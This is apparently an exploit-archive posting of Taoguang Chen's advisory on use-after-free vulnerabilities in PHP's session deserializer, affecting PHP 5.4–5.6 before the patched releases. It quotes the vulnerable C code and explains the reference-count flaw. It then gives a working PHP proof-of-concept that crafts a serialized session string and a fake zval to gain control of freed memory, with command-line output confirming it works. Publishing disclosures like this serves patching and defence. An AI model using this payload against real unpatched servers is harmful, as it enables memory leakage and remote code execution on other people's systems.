Author

Taoguang Chen

Risk

[

Security Risk High

]

0day-ID

0day-ID-24225

Category

dos / poc

Date add

09-09-2015

Platform

php

Use After Free Vulnerabilities in Session Deserializer
 
Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.8.9
Release Date: 2015.9.4
 
Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
 
Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45
 
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
 
Description
------------
 
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
 
  ...  
 
  PHP_VAR_UNSERIALIZE_INIT(var_hash);
 
  p = val;
 
  while (p < endptr) {
     
    ...
 
    if (has_value) {
      ALLOC_INIT_ZVAL(current);
      if (php_var_unserialize(&current, (const unsigned char **) &q,
(const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
        php_set_session_var(name, namelen, current, &var_hash  TSRMLS_CC);
      }
      zval_ptr_dtor(&current);
    }
    PS_ADD_VARL(name, namelen);
skip:
    efree(name);
 
    p = q;
  }
break_outer_loop:
 
  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 
  return SUCCESS;
}
 
 
When session deserializer (php/php_binary) deserializing multiple data
it will call to php_var_unserialize() multiple times. So we can create
ZVAL and free it via the php_var_unserialize() with a crafted
serialized string, and also free the memory (reduce the reference
count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two
identical session data, then the next call to php_var_unserialize()
will still allow to use R: or r: to set references to that already
freed memory. It is possible to use-after-free attack and execute
arbitrary code remotely.
 
In some other cases, session deserializer
(php/php_binary/php_serialize) may also lead to use-after-free
vulnerabilities: i) via crafted Serializable::unserialize() ii) via
unserialize()'s callback function and zend_lookup_class() call a
crafted __autoload().
 
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.
 
 
<?php
 
session_start();
 
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
 
$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);
 
for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}
 
var_dump($_SESSION);
 
function ptr2str($ptr)
{
  $out = "";
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}
 
?>
 
 
Test the PoC on the command line:
 
 
$ php uafpoc.php
array(2) {
  ["ryat"]=>
  NULL
  ["chtg"]=>
  array(1) {
    [0]=>
    int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  }
}

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